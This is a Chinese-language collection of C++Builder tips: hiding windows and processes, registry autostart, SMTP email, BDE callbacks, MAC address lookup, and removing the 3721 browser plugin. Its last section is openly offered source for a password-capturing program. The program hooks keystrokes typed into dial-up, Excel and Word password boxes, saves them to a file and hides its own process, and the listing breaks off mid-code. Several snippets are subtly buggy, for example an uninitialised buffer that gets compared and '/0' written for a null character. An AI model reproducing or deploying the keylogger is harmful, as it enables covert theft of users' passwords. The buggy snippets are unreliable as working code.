怎样隐藏应用程序的任务条图标
首先,请看看这些术语。系统托盘是一个在任务条右角的小方框,在托盘了应用程序可以显示小图标。任务条是可以在屏幕上伸展的工具栏。它就是程序图标所在的位置。想隐藏程序的任务条图标,你可以应用ShowWindow函数并传给它Application->Handle窗口句柄。
ShowWindow(Application->Handle,SW_HIDE);
若想让任务条图标再出现,只需将SW_HIDE改为SW_SHOW。
ShowWindow(Application->Handle,SW_SHOW);
注:你可以设置主窗口的Visible属性为false来隐藏它。
注:通过ShowWindow来隐藏窗口的任务条图标是不持久的。某些动作会使任务条图标重现。你可以将隐藏的应用程序窗口设为ToolWindow来移走程序的任务条图标而避免它再次出现。Toolwindows永远不会有任务条图标。使应用程序窗口成为一个ToolWindow有一个副作用:当用户按下Alt-TAB时它将不在程序列表中出现。你可以调用API函数GetWindowLong和SetWindowLong来使应用程序窗口成为一个ToolWindow。
WINAPIWinMain(HINSTANCE,HINSTANCE,LPSTR,int){
DWORDdwExStyle=GetWindowLong(Application->Handle,GWL_EXSTYLE);dwExStyle|=WS_EX_TOOLWINDOW;SetWindowLong(Application->Handle,GWL_EXSTYLE,dwExStyle);
try{
Application->Initialize();
Application->CreateForm(__classid(TForm1),&Form1);
Application->Run();
}catch(Exception&exception){
Application->ShowException(&exception);
}
return0;
}
注:程序启动后要隐藏主窗体,则可以在WinMain中添加如下代码:(Project->ViewScource)
ShowWindow(Application->Handle,SW_HIDE);
Application->ShowMainForm=false;
当你想显示程序时执行下面这两行代码:(记住,如果代码定位在主窗口类的一个方法中,Application->MainForm->Visible=true可以用Visible=true来代替。)
ShowWindow(Application->Handle,SW_SHOW);
Application->MainForm->Visible=true;
发送电子邮件
2000年第一期的《电脑报》刊登了题目为《自己动手编写电子邮件软件》的文章,文章讲述了如何用VB编写一个简单的电子邮件发送程序。其实,如果你是一个C++Builder爱好者,完全可以更快、更简捷地编写出这类软件。请听我下文分解:
与E-mail密切相关的两个协议是POP3和SMTP,POP3是PostProtocol3的缩写,用于从POP3服务器接收电子邮件,SMTP是SimpleMailTransferProtocol的缩写,用于通过SMTP服务器发送电子邮件。这两个协议本身是很复杂的,但C++Builder从NetManage公司引进了POP、SMTP控件,这样,我们完全可以不去管那些收发邮件的机理,只要设置好这些控件就可以编出一个C++Builder的发送邮件程序了。下面介绍SMTP控件:
SMTP控件位于控件栏的Internet页面上,名称为:NMSMTP。SMTP的主要属性有:
Host属性,用来指定SMTP服务器的主机名。
Port属性,用于指定SMTP服务器的端口号,一般设为25。
UserId属性,登录SMTP服务器时用于设置用户名。
PostMessage属性,此属性非常重要,从以下它的内容你就可以看出来了:
FromName用于指定发件人的名称。
FromAddress用于指定发件人的e-mail地址。
LocalProgram用于指定发件人所使用的邮件客户程序。
ToAddress收件人的地址。
Body邮件正文。
Subject邮件主题。
SMTP控件的方法:
Connect函数,用于登录到SMTP服务器,使用此函数前,Host、Port、UserId等属性必须已设好。
Disconnect函数,用于断开与SMTP服务器的连接。
SendMail函数,用于向SMTP服务器发送邮件。知道了这些,我们就可以写程序了。
新建应用程序,将工程名保存为sendmail,在Form1上加入NMSMTP控件,Host属性添入SMTP服务器的名称,如:“smtp.yeah.net”,UserId属性添入你在此邮箱申请的用户名,其它属性保持默认值;加入4个Label控件,将其Caption分别设为:“发件人名称”、“收件人地址”、“邮件主题”和“邮件正文”;加入4个Edit控件,将其Name分别设为:“Name1”、“Address1”、“Subject1”和“Body1”;一个SpeedButton控件,Caption为:“发送”(以上属性均不含引号),Click事件代码为:
NMSMTP1->Connect();
NMSMTP1->PostMessageA->FromName=Name1->Text;
NMSMTP1->PostMessageA->FromAddress=〃superlink@yeah.net〃;
NMSMTP1->PostMessageA->ToAddress->Add(Address1->Text);
NMSMTP1->PostMessageA->Subject=Subject1->Text;
NMSMTP1->PostMessageA->Body->Add(Body1->Text);
NMSMTP1->PostMessageA->LocalProgram=〃SendMail〃;
NMSMTP1->SendMail();
Application->MessageBoxA(〃发送完成!〃,〃邮件系统〃,MB_OK);
NMSMTP1->Disconnect();
完成!有人不禁要问:“就这么简单?”,的确就这么简单。不过,NMSMTP控件还有大量的功能没在此一一列出,同时还有NMPOP3控件可用来编写接收邮件的程序,如果喜爱C++Builder的朋友感兴趣,完全可以写出象OutLookExpress、FoxMail这样的电子邮件软件。
C++builder编程修改注册表的问题
RootKey是注册表的根键值,比如运行regedit后看到的HKEY_USERS,HKEY_LOCAL_MACHINE就是RootKey,在TRegIniFile中缺省的RootKey是HKEY_USERS.
下面的例子是TRegistry的,TRegIniFile也差不多
void__fastcallTfrmMainForm::WriteToMyRegistry(inttable_count)
{
//TODO:Addyoursourcecodehere
TRegistry*MyRegistry=newTRegistry;
MyRegistry->RootKey=HKEY_LOCAL_MACHINE;//改变缺省Rootkey
if(!MyRegistry->OpenKey("Software//Microsoft//Windows//Current/Version//Run",true)){//打开主键
//这样双引号里面的东西就变成了CurrentKey
Application->MessageBox("注册表内容无效","读取注册表出错",MB_ICONERROR);
MyRegistry->CloseKey();
deleteMyRegistry;
return;
}
MyRegistry->WriteString("myrun","c://sthvcd//sthvcd.exe");
MyRegistry->CloseKey();
deleteMyRegistry;
}
怎样隐藏应用程序不让它出现在CTRL-ALT-DEL对话框中
把你的应用程序从CTRL-ALT-DEL对话框中隐藏的一个简单办法是去应用程序的标题。如果一个程序的主窗口没有标题,Windows不把它放到CTRL-ALT-DEL对话框中。清除标题属性的最好地方是在WinMain函数里。
WINAPIWinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
try{
Application->Title="";
Application->Initialize();
Application->CreateForm(__classid(TForm1),&Form1);
Application->Run();
}
catch(Exception&exception)
{
Application->ShowException(&exception);
}
return0;
}
另一种方法是:调用RegisterServiceProcessAPI函数将程序注册成为一个服务模式程序。RegisterServiceProcess是一个在Kernel32.dll里相关但无正式文件的函数。在MSSDK头文件里没有该函数的原型说明,但在BorlandimportlibrariesforC++Builder里能找到。很显然,这个函数的主要目的是创建一个服务模式程序。之所以说很显然,是因为MSDN里实质上对这个函数没有说什么。
下面的例子代码演示了在Windows95/98下怎样通过使用RegisterServiceProcess来把你的程序从CTRL-ALT-DEL对话框中隐藏起来。
//------------Headerfile------------------------------
typedefDWORD(__stdcall*pRegFunction)(DWORD,DWORD);
classTForm1:publicTForm
{
__published:
TButton*Button1;
private:
HINSTANCEhKernelLib;
pRegFunctionRegisterServiceProcess;
public:
__fastcallTForm1(TComponent*Owner);
__fastcall~TForm1();
};
//-----------CPPfile------------------------------
#include"Unit1.h"
#defineRSP_SIMPLE_SERVICE1
#defineRSP_UNREGISTER_SERVICE0
__fastcallTForm1::TForm1(TComponent*Owner):TForm(Owner)
{
hKernelLib=LoadLibrary("kernel32.dll");
if(hKernelLib){
RegisterServiceProcess=(pRegFunction)GetProcAddress(hKernelLib,"RegisterServiceProcess");
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);
}
}
__fastcallTForm1::~TForm1()
{
if(hKernelLib){
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),RSP_UNREGISTER_SERVICE);
FreeLibrary(hKernelLib);
}
}
windows启动时运行程序
如果希望在windows启动时运行某个程序,可以通过向注册表中加信息来实现,下面就一个例子说明:
首先在源文件(cpp)中加#include<Registry.hpp>
void__fastcallTForm1::Button1Click(TObject*Sender)
{
Tregistry*Reg;
Reg=newTRegistry();
Reg->RootKey=HKEY_LOCAL_MACHINE;
Reg->OpenKey("SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",FALSE);
Reg->WriteString("start","d://Oicq//QQ.exe");
}
客户/服务器远程数据传输处理技巧
在实际的MIS系统中,远程数据库访问大多通过Modem连接,出于通信费用及速度方面的考虑,往往采用先将数据保存在本地,然后集中传送到远端的办法。远程数据传送可以有多种方案,最常见的是先将要传送的数据打包成文件,在利用文件传输形式传送到目的地,在目的地对数据恢复后添加到本地数据库中。这种方法普遍地应用于证券交易系统,其优点是速度快,并且可事先对数据压缩,更大限度地节约传送时间及费用。但这种方案也有其不足之处:由于利用文件传输机制,无法利用数据库本身的特性如完整性约束、数据一致性、回滚机制等,因此在比较复杂的数据库系统中较少采用。另一种方法是直接将两端处理成"客户/服务器"模式,将数据传送看成是向Server提交数据。由于这种方案充分利用了数据库服务器的特性,并且实际操作基本与局域网方式一致,因此本文将详细介绍这种方案。
由于传输速度的原因,当传送大量数据时绝对不赞成逐条记录地向服务器提交数据,而应批量地向Server提交,Delphi/CBuilder中提供了一个TBatchMove控件专门用于批量传送数据,利用它可极大减少网络负担,提高传送速度。遗憾的是,TBatchMove控件只提供了简单的错误控制功能,没有提供显示传送进度、用户终止传送等重要功能。然而TBatchMove所依赖的BDE却提供了一种"回调机制"可以完成上述两个功能。所谓"回调"过程是这样的:当BDE执行某种操作时,比如从一张表向另一张表拷贝大量数据的过程中,每过一段时间(如需要显示拷贝进度时),BDE会调用一段你自己写的函数(回调函数),以帮助你更完全地控制程序。这种做法有点想DLPHI中的Event(事件)及事件处理函数--某个具体的操作动作会让VCL触发某个事件,从而调用一段你写好的事件处理函数,不同的事件会触发不同的处理函数。
为了让BDE能正确地与你的函数协同工作,你必须事先"注册"你的函数,让BDE知道某个事件发生时应调用(回调)你的某段代码。BDE提供了一个DbiRegisterCallBack注册函数,不幸的是,BDE的联机帮助中的说明不能适合于Delphi/CBuilder,按照该说明编写的程序根本不能通过编译!笔者通过实践找到了正确使用BDE回调函数的方法,下面将详细介绍该机制的使用。BDE回调机制包含以下几个步骤:
1)按BDE的预定格式编写你的回调函数
2)调用DbiRegisterCallBack函数注册你的回调函数,这样当你执行相关数据库操作时就自然地触发你的回调函数。
3)执行相关数据库操作,比如BatchMove1->Exectue();
4)注销该回调函数
其中最关键的是正确注册你的回调函数,因此先介绍第二步。(注册与注销都调用同一函数,只是最后一个参数略有不同)
首先你应知道在哪类"事件"发生时调用你的回调函数,其次你应明白与该事件相关的参数及数据结构-----这一切都发生在调用DbiRegisterCallBack函数注册时,所以下面先介绍DbiRegisterCallBack的正确用法及说明:
在原BDE帮助中该函数的原形(C)是这样的
DBIResultDBIFNDbiRegisterCallBack(hCursor,ecbType,iClientData,iCbBufLen,pCbBuf,pfCb);
要使用该函数必须include头文件,问题是Delphi/CBuilder中根本没有提供该文件,取而代之的是"BDE.HPP",但是在包含进该文件后程序仍然不能编译通过,因为该文件中没有DBIFN等的说明。一个简单的方法是在代码中去掉DBIFN。函数中各参数解释如下:hCursor是一个BDE中对象的句柄,如果这个参数为NULL,则表示注册的回调函数适合于所有BDE任务;第二个参数ecbType是指回调函数的触发条件的类别,有很多种类型可以选择,其中cbGENPROGRESS表示当需要显示一个长操作的进度时触发这个回调函数;第三个参数iClientData是传递给回调函数的某个数据结构的指针,在我们的例子中为NULL;第四个参数iCbBufLen是指回调Buffer的大小,该大小随第二个参数的不同而不同,比如sizeof(CBPROGRESSDesc);第五个参数pCbBuf是回调Buffer的指针,该指针类型随第二个参数变化,比如cbGENPROGRESS的数据结构是CBPROGRESSDesc;最后一个参数是回调函数的地址指针,当该参数为NULL时表示注销该类型的回调函数。关于回调函数将在稍后详细介绍。下面是注册执行长操作时显示进度的回调函数的格式:
intrst=DbiRegisterCallBack(
NULL,//适合于任何进程
cbGENPROGRESS,//回调类型:显示长操作的进度
NULL,//没有数据
sizeof(CBPROGRESSDesc),//数据结构的大小
&aCBBuf,//数据的内存地址
ApiCallBackFun//回调函数的地址
);
接下来就应该完成第一步:编写回调函数
在C中,回调函数应如下声明:
CBRType__stdcallApiCallBackFun(
CBTypeecbType,//回调类型
intiClientData,//回调数据(指针)
void*pCbInfo//回调数据结构指针
)
第一个参数是回调类型;第二个参数是回调数据,其解释同DbiRegisterCallBack的第三个参数;第三个是回调数据的指针,该数据的结构随回调类型的不同而不同。比如进度指示cbGENPROGRESS的数据结构是CBPROGRESSDesc,其定义如下:
structCBPROGRESSDesc{
shortiPercentDone;//进度的百分比
charszMsg[128];//进度的文本信息
};
该结构的两个域同时只有一个起作用,第一个表示操作的进度百分比,当其为-1时表示第二个域起作用。第二个域用字符串表示进度信息,其格式为<String><:><Value>,比如:RecordsCopied:125
本文主要在回调函数中完成两个工作:
1)显示数据拷贝(BatchMove)进度
2)提供让用户终止长时间拷贝的机制
显示拷贝进度的代码如下:
CBRType__stdcallApiCallBackFun(
CBTypeecbType, //Callbacktype
IntiClientData, //Clientcallbackdata
void*pCbInfo //Callbackinfo/Client
){
AnsiStringstr;
if(ecbType==cbGENPROGRESS){
intj=StrToInt(((CBPROGRESSDesc*)pCbInfo)->iPercentDone);
if(j<0){//如果iPercentDone为-1,则分析szMsg的信息
str=((CBPROGRESSDesc*)pCbInfo)->szMsg;intpos=str.AnsiPos(":")+1;//提取出拷贝的记录数
//下面的代码用来在一个Form中显示拷贝进度及拷贝数量Form1->Label2->Caption=str.SubString(pos,100);
Form1->Label2->Update();
Form1->ProgressBar1->Position=int((str.SubString(pos,100).ToDouble()/Form1->TransNum)*100);
Form1->ProgressBar1->Update();
}else{
Form1->ProgressBar1->Position=j;Form1->ProgressBar1->Update();
}
returncbrCONTINUE;
//必须返回cbrCONTINUE以便让BatchMove继续,若返回cbrABORT则终止拷贝
}
}
一切完成以后,每当调用长时间BDE操作(比如BatchMove1->Exectue())时都会触发该回调函数,注意在不需要时应"注销"这个回调函数。
如果批量传送数据时间很长,则必须为用户提供终止该操作的机会,前面提到,若回调函数返回cbrABORT,则BatchMove过程立即终止。可以在Form上加上一个"停止"按钮和一个全局布尔变量isContinue,当开始拷贝时设该变量为true,当按钮按下后,设该变量为false,每次调用回调函数时检查isContinue的值,若为true则回调函数返回cbrCONTINUE让拷贝继续,否则返回cbrABORT终止拷贝。但是问题在于一旦拷贝过程开始,该进程内所有消息将被阻塞,应用程序在拷贝结束之前没有机会响应键盘、鼠标等一切消息,连屏幕刷新都不能完成,因此必须找到一种避免消息阻塞的方法。
大家知道,Windows是靠事件(消息)驱动的,在WIN32系统中有两种消息队列:系统队列和应用程序队列,当一个程序进行一个长时间操作时,系统分配给该程序的时间片将完全用于处理该操作,换句话说,应用程序没有从它的应用程序队列中取出消息并处理的机会,这样该程序将停止一切对外部事件的响应直到该操作完成为止。具体到本文中就是程序必须等到BatchMove1->Execute()执行完毕后才能响应用户操作,因此用户将完全没有机会终止拷贝过程。
解决的办法是:在回调函数中取出消息队列中的消息,并后台处理它们,这样用户将有机会按下终止按钮。实现的代码很简单,在回调函数中最后加入以下代码即可
CBRType__stdcallApiCallBackFun(…){
……MSGamsg;
while(PeekMessage(&amsg,NULL,0,0,PM_REMOVE)){//从队列中取消息
TranslateMessage(&amsg);//翻译消息
DispatchMessage(&amsg);//分发消息
}
if(isContinue)
returncbrCONTINUE;
else
returncbrABORT;
}
软件封面的实现
1.先设置两个窗体Form1Form2其中Form1为主窗体,Form2为动态调用窗体
在工程文件Project1.cpp中加入如下代码:
#include<vcl.h>
#include"Unit2.h"
#pragmahdrstop
USERES("Project1.res");
USEFORM("Unit1.cpp",Form1);
USEFORM("Unit2.cpp",Form2);
//---------------------------------------------------------------------------
WINAPIWinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
try{
Application->Initialize();
Form2=newTForm2(Application);
Form2->Show();
Form2->Update();
Application->CreateForm(__classid(TForm1),&Form1);
deleteForm2;
Application->Run();
}
catch(Exception&exception){
Application->ShowException(&exception);
}
return0;
}
2.然后在主窗体unit1.cpp中加入下面代码:
void__fastcallTForm1::FormCreate(TObject*Sender)
{
unsignedlongCurTime;
unsignedlongDelayTime;
//设置延迟时间为5秒
DelayTime=5000;
CurTime=GetTickCount();
//在这儿可以加上应用程序的初始化过程
unsignedlongInter;
do{
Inter=GetTickCount()-CurTime;
Form2->ProgressBar1->Position=Inter*100.0/DelayTime;
}while(Inter<DelayTime);
}
在BCB中显示2000新式对话框
我自己测试了一下,在2000和xp下能显示新式对话框,不过不能使用bcb中的组件,只能自己调用api函数,再一次说明了api函数的强大.我的程序如下,希望大家指教.
//main.h
//---------------------------------------------------------------------------
#ifndefmainH
#definemainH
//---------------------------------------------------------------------------
#include<Classes.hpp>
#include<Controls.hpp>
#include<StdCtrls.hpp>
#include<Forms.hpp>
#include<Dialogs.hpp>
#include<ExtCtrls.hpp>
//---------------------------------------------------------------------------
classTForm1:publicTForm
{
__published://IDE-managedComponents
TButton*Button1;
TPanel*Panel1;
TMemo*Memo1;
TPanel*Panel2;
TGroupBox*GroupBox1;
TCheckBox*CheckBox1;
TButton*Button2;
void__fastcallButton1Click(TObject*Sender);
void__fastcallFormCreate(TObject*Sender);
void__fastcallFormDestroy(TObject*Sender);
void__fastcallButton2Click(TObject*Sender);
void__fastcallCheckBox1Click(TObject*Sender);
private://Userdeclarations
public://Userdeclarations
LPOPENFILENAMEApOpenFile;
BYTE*pBuf;
__fastcallTForm1(TComponent*Owner);
void__fastcallDisplayInMemo(Stringstr);
};
//---------------------------------------------------------------------------
externPACKAGETForm1*Form1;
//---------------------------------------------------------------------------
#endif
//main.c
//---------------------------------------------------------------------------
#include<vcl.h>
#pragmahdrstop
#include"main.h"
//---------------------------------------------------------------------------
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
TForm1*Form1;
//---------------------------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender)
{
Stringstr;
BOOLbReturn=GetOpenFileName(pOpenFile);
if(bReturn)
{
str.sprintf("您选择的文件为%s",pOpenFile->lpstrFile);
DisplayInMemo(str);
}else{
str.sprintf("您没有选择的文件");
DisplayInMemo(str);
}
}
//---------------------------------------------------------------------------
void__fastcallTForm1::FormCreate(TObject*Sender)
{
Stringstr;
pBuf=(BYTE*)malloc(1024);
memset(pBuf,0,1024);
pBuf="*.txt";
pOpenFile=(LPOPENFILENAMEA)malloc(sizeof(OPENFILENAMEA));
memset(pOpenFile,0,sizeof(OPENFILENAMEA));
pOpenFile->lStructSize=sizeof(OPENFILENAMEA);
pOpenFile->hwndOwner=Handle;
pOpenFile->hInstance=HInstance;
pOpenFile->lpstrFilter="文本文件(*.txt)";
pOpenFile->nFilterIndex=0;
pOpenFile->nMaxFile=255;
pOpenFile->Flags=OFN_EXPLORER;
pOpenFile->lpstrFile=pBuf;
pOpenFile->lpstrTitle="我的文件对话框";
pOpenFile->lpstrInitialDir=".//";
//pOpenFile->
str.sprintf("显示2000样式对话框演示");
DisplayInMemo(str);
}
//---------------------------------------------------------------------------
void__fastcallTForm1::FormDestroy(TObject*Sender)
{
free((void*)pOpenFile);
}
//---------------------------------------------------------------------------
void__fastcallTForm1::DisplayInMemo(Stringstr)
{
if(Memo1->Lines->Count>100){
Memo1->Lines->Clear();
}
Memo1->Text=str+char(13)+char(10)+Memo1->Text;
}
void__fastcallTForm1::Button2Click(TObject*Sender)
{
Close();
}
//---------------------------------------------------------------------------
void__fastcallTForm1::CheckBox1Click(TObject*Sender)
{
if(CheckBox1->Checked){
pOpenFile->Flags|=OFN_READONLY;
}else{
pOpenFile->Flags&=!OFN_READONLY;
}
}
//---------------------------------------------------------------------------
在bcb5测试通过.
如何屏蔽系统ALT+F4
第一步:在你的密码窗口的头文件的public部分加上以下两段代码:
//这是自定义响应消息的函数:
void__fastcallOnCloseForm(TMessageMessage);
//定义一个消息域:
BEGIN_MESSAGE_MAP
MESSAGE_HANDLER(WM_SYSCOMMAND,TMessage,OnCloseForm)
END_MESSAGE_MAP(TForm)
第二步:在密码窗口的代码中增加此函数的实现:(注TfWelcome是密码窗口的名字,改成你自己的密码窗口名称)
void__fastcallTfWelcome::OnCloseForm(TMessageMessage)
{
if(Message.WParam==SC_CLOSE){
//此消息拦截是为了防止用户关闭登录窗口。
if(Application->MessageBox("您确实要关闭本系统?”。","金浪软件提醒",48|1)==1){
Application->Terminate();//如果用户选择“是”,就关闭整个程序。
}
}
}
说明:这样用户无论如何都关不了你的密码窗口了,要关就把整个程序关了。
调用API函数NetBios来获得网卡物理地址
本程序是调用API函数NetBios来获得网卡物理地址的。
//GetMACAddress
//Proto:boolMAC(char*Mac);
//return:trueifsuccessandMacisMACaddress,
//falseiffail.
//
boolMAC(char*Mac)
{
typedefstruct_ASTAT_
{
ADAPTER_STATUSadapt;
NAME_BUFFERNameBuff[30];
}ASTAT,*PASTAT;
ASTATAdapter;
NCBncb;
UCHARuRetCode;
chartmp[40];
Mac[0]='/0';
memset(&ncb,0,sizeof(ncb));
ncb.ncb_command=NCBRESET;
ncb.ncb_lana_num=0;
uRetCode=Netbios(&ncb);
if(uRetCode!=0)
{
strcat(Mac,"InitError!");
returnfalse;
}
memset(&ncb,0,sizeof(ncb));
ncb.ncb_command=NCBASTAT;
ncb.ncb_lana_num=0;
strcpy((char*)ncb.ncb_callname,"*");//这个"*"代表获得本机网卡地址,换成IP地址就可以获得局域网内其他机器的网卡地址。
ncb.ncb_buffer=(unsignedchar*)&Adapter;
ncb.ncb_length=sizeof(Adapter);
uRetCode=Netbios(&ncb);
if(uRetCode==0)
{
for(inti=0;i<6;i++)
{
sprintf(tmp,"%02X",(int)Adapter.adapt.adapter_address[i]);
strcat(Mac,tmp);
}
sprintf(tmp,"Software:%d.%d",Adapter.adapt.rev_major,Adapter.adapt.rev_minor);
strcat(Mac,tmp);
returntrue;
}
else
{
strcat(Mac,"Unknown.");
returnfalse;
}
}
细说3721网络实名“病毒”(人家用C++写的)
最近浏览一些门户网站时,会不知不觉的被安装上一个名为“3721网络实名”的IE插件。虽说这些门户网站和3721本是好意,可是这样单方面地安装上这么一个插件有点不妥!之所以说它是病毒,因为它同样是开机自动启动,而且虽然带来一些方便,但是使系统运行的极不稳定,拖慢上网速度。在s8s8.net的论坛上看到很多网友都说关机时经常会出现explorer.exe出错的提示。我也是同样深受其害,仔细研究了一下,问题就出在这个“3721网络实名”上!更可气的是,可能是由于程序做的比较仓促,完全没有卸载功能!
这里附上它的源代码,通过代码可以看出这不是木马。不过程序写的很烂……
#include"windows.h"
#include"winbase.h"
voidmain()
{
charbuf[MAX_PATH];
::ZeroMemory(buf,MAX_PATH);
::GetWindowsDirectory(buf,MAX_PATH);
charfilename[MAX_PATH];
::ZeroMemory(filename,MAX_PATH);
strcpy(filename,buf);
strcat(filename,"//DownloadedProgramFiles//CnsMinIO.dll");
::MoveFileEx(filename,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
::ZeroMemory(filename,MAX_PATH);
strcpy(filename,buf);
strcat(filename,"//DownloadedProgramFiles//CnsMin.dll");
::MoveFileEx(filename,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
::ZeroMemory(filename,MAX_PATH);
strcpy(filename,buf);
strcat(filename,"//DownloadedProgramFiles//cnsio.dll");
::MoveFileEx(filename,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
}
下面将给大家卸载这个插件的详细过程。
由于这个3721网络实名插件是使用Rundll32.exe调用连接库的,系统无法终止Rundll32.exe进程,所以我们必须重新启动计算机,按F8进入安全模式(F8只能按一次,千万不要多按!)。之后,单击开始->运行regedit.exe打开注册表,进入:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/
删除键:CnsMin
其键值为:Rundll32.exeC:/WINNT/DOWNLO~1/CnsMin.dll,Rundll32
(如果是win98,这里的C:/WINNT/DOWNLO~1/为C:/WINDOWS/DOWNLO~1/)
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/InternetExplorer/AdvancedOptions/
删除整个目录:!CNS
这个目录在Internet选项->高级中加入了3721网络实名的选项。
HKEY_LOCAL_MACHINE/SOFTWARE/3721/以及HKEY_CURRENT_USER/Software/3721/
删除整个目录:3721
注:如果您安装了3721的其它软件,如极品飞猫等,则应删除
整个目录:HKEY_LOCAL_MACHINE/SOFTWARE/3721/CnsMin
以及HKEY_CURRENT_USER/Software/3721/CnsMin
HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/Main/
删除键:CNSEnable其键值为:a2c39d5f
删除键:CNSHint其键值为:a2c39d5f
删除键:CNSList其键值为:a2c39d5f
在删除完注册表中的项之后,还需要删除存储在硬盘中的3721网络实名文件。
删除如下文件:
C:/WINNT/DOWNLO~1目录下
(这里的C:/WINNT/DOWNLO~1/为C:/WINDOWS/DOWNLO~1/下同)
2001-08-0915:34<DIR>3721
2001-08-0217:0340,960cnsio.dll
2001-08-0814:14102,400CnsMin.dll
2001-08-2423:1442CnsMin.ini
2001-08-0910:1813,848CnsMinEx.cab
2001-07-0617:5732,768CnsMinEx.dll
2001-08-2502:52115CnsMinEx.ini
2001-08-2502:5117,945CnsMinIO.cab
2001-08-0217:0232,768CnsMinIO.dll
2001-08-2423:1540,793CnsMinUp.cab
C:/WINNT/DOWNLO~1/3721目录下
2001-08-0217:0340,960cnsio.dll
2001-08-2415:53102,400CnsMin.dll
2001-07-0617:59213CnsMin.inf
2001-08-2415:4828,672CnsMinIO.dll
以上文件全部删除,这样3721网络实名“病毒”就从您的计算机中全部清除了。
最后,重新启动计算机,进入正常模式。现在已经完全没有3721网络实名的捆饶了!
..:::[end]:::..
下面是禁止3721的方法:
卸载3721后,用记事本打开c:/windows/hosts(查找,说明为文件),加入以下字符(IP和域名之间用一个空格间隔开):
0.0.0.0www.3721.com
0.0.0.0cnsmin.3721.com
0.0.0.0download.3721.com
保存的文件名为Hosts(注意不要加任何扩展名),Windows98/Me的系统把该文件保存到Windows目录,Windows2000/XP的系统把该文件保存到WINNT/system32/drivers/etc目录,如果已经有Hosts文件,直接替换就可以。然后打开浏览器观察结果,怎么样?再也看不到3721的对话框了吧?
同理,用Hosts文件还可以对付网页中的广告。现在很多大型网站,都有专门存放广告的主机,查看网页的源代码,就可以知道广告文件存放在哪台主机上,然后用Hosts文件解析这台主机的IP,就可以把这些广告拒之门外了。
也可以加速经常浏览的网站:X.X.X.X(空格)WWW.X.COM(IP为真实值)
..:::[other]:::..
另外可以使用多页面浏览器把
3721.com218.244.44.10
3721.net202.106.148.154
www.3721.com218.244.44.10
www.3721.net202.106.148.154
download.3721.com218.244.44.34
download.3721.net218.244.44.35
这些添加到黑名单,
把C段封杀
218.244.44.*
202.106.148.*
附件附上Hosts:
#Copyright(c)1993-1999MicrosoftCorp.
#
#ThisisasampleHOSTSfileusedbyMicrosoftTCP/IPforWindows.
#
#ThisfilecontainsthemappingsofIPaddressestohostnames.Each
#entryshouldbekeptonanindividualline.TheIPaddressshould
#beplacedinthefirstcolumnfollowedbythecorrespondinghostname.
#TheIPaddressandthehostnameshouldbeseparatedbyatleastone
#space.
#
#Additionally,comments(suchasthese)maybeinsertedonindividual
#linesorfollowingthemachinenamedenotedbya'#'symbol.
#
#Forexample:
#
#102.54.94.97rhino.acme.com#sourceserver
#38.25.63.10x.acme.com#xclienthost
127.0.0.1localhost
127.0.0.13721.com#3721网络实名
127.0.0.13721.net#3721网络实名
127.0.0.1cnsmin.3721.com#3721网络实名
127.0.0.1download.3721.com#3721网络实名
127.0.0.1www.3721.com#3721网络实名
127.0.0.1www.3721.net#3721网络实名
一个截获用户输入密码程序
整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。
为了让初学者深入了解,将源代码贴上来,(SDK程序VC,BCB等WIN下的C编译器均可编译)象现在那些记录E-MAIL密码,OICQ密码等工具都是这原理,俺当时写着玩意的时候还没有OICQ。
有兴趣的可以自己加上。
#include<windows.h>
#defineKeyPMask0x80000000
#defineSERVICE_PROC1
#defineUNSERVICE_PROC0
#defineRUN"//GmkMon.exe"
typedefstructtagKEYDATA{
charkKey;
SHORTkShift;
SHORTkCaps;
SHORTkNum;
BOOLbShift;
BOOLbCaps;
BOOLbNum;
}KEYDATA,*LPKEYDATA;
HHOOKhHook=NULL;
DWORD(WINAPI*RegisterServiceProcess)(DWORD,DWORD);
LRESULTCALLBACKWndProc(HWND,UINT,WPARAM,LPARAM);
LRESULTCALLBACKJournalRecordProc(intnCode,WPARAMwParam,LPARAMlParam);
BOOLWINAPIHideProc(intmode)
{
HINSTANCEDLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI*)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
returnTRUE;
}
else
returnFALSE;
}
elsereturnFALSE;
}
BOOLWINAPIIsPassWindow()
{
HWNDhWnd,curHwnd;
TCHARszTemp[MAX_PATH];
DWORDdwsTyle;
hWnd=GetActiveWindow();
if(hWnd==NULL)returnFALSE;
curHwnd=hWnd;
while(curHwnd!=NULL)
{
hWnd=curHwnd;
curHwnd=GetParent(hWnd);
}
dwsTyle=GetWindowLong(hWnd,GWL_STYLE);
if(dwsTyle&ES_PASSWORD)//普通密码框
returnTRUE;
elseif(!lstrcmp(szTemp,"EDTBX"))//Excel密码
returnTRUE;
elseif(!lstrcmp(szTemp,"RichEdit20W")&&(dwsTyle&WS_SYSMENU))
returnTRUE;//WORD密码
GetWindowText(hWnd,szTemp,sizeof(szTemp));
if(!strncmp(szTemp,"连接到",6))//拨号网络
returnTRUE;
returnFALSE;
}
TCHARWINAPIGetKey(intnKey)
{
KEYDATAkd;
kd.kShift=GetKeyState(VK_SHIFT);
kd.kCaps=GetKeyState(0x14);
kd.kNum=GetKeyState(0x90);
kd.bShift=(kd.kShift&KeyPMask)==KeyPMask;
kd.bCaps=(kd.kCaps&1)==1;
kd.bNum=(kd.kNum&1)==1;
if(nKey>=48&&nKey<=57)
if(!kd.bShift)return(kd.kKey=nKey);
